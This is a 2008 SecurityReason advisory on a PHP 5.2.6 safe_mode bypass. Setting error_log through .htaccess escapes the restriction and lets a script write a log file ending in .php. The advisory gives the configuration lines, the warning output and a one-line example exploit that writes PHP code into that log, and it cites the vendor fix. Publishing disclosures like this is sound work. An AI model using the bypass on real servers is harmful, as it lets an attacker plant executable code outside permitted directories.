php526-bypass.txt

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[ SecurityReason.com PHP 5.2.6 (error_log) safe_mode bypass ]  
  
Author: Maksymilian Arciemowicz (cXIb8O3)  
securityreason.com  
Date:  
- - Written: 10.11.2008  
- - Public: 20.11.2008  
  
SecurityReason Research  
SecurityAlert Id: 57  
  
CWE: CWE-264  
SecurityRisk: Medium  
  
Affected Software: PHP 5.2.6  
Advisory URL: http://securityreason.com/achievement_securityalert/57  
Vendor: http://www.php.net  
  
- --- 0.Description ---  
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.  
  
error_log  
  
They allow you to define your own error handling rules, as well as modify the way the errors can be logged. This allows you to change and enhance error reporting to suit your needs.  
  
- --- 0. error_log const. bypassed by php_admin_flag ---  
The main problem is between using safe_mode in global mode  
  
php.ini­:  
safe_mode = On  
  
and declaring via php_admin_flag  
  
<Directory "/www">  
...  
php_admin_flag safe_mode On  
</Directory>  
  
When we create some php script in /www/ and try call to:  
  
ini_set("error_log", "/hack/");  
  
or in /www/.htaccess  
  
php_value error_log "/hack/bleh.php"  
  
  
Result:  
  
Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0  
  
Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4  
  
  
It was for safe_mode declared in php.ini. But if we use  
  
php_admin_flag safe_mode On   
  
in httpd.conf, we will get only  
  
Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4  
  
syntax in .htaccess  
  
php_value error_log "/hack/blehx.php"  
  
is allowed and bypass safe_mode.  
  
example exploit:  
error_log("<?php phpinfo(); ?>", 0);  
  
- --- 2. How to fix ---  
Fixed in CVS  
  
http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&view=markup  
  
Note:  
Do not use safe_mode as a main safety.  
  
--- 3. Greets ---  
sp3x Infospec schain p_e_a pi3  
  
- --- 4. Contact ---  
Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]  
Email: cxib [at] securityreason [dot] com  
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg  
http://securityreason.com  
http://securityreason.pl  
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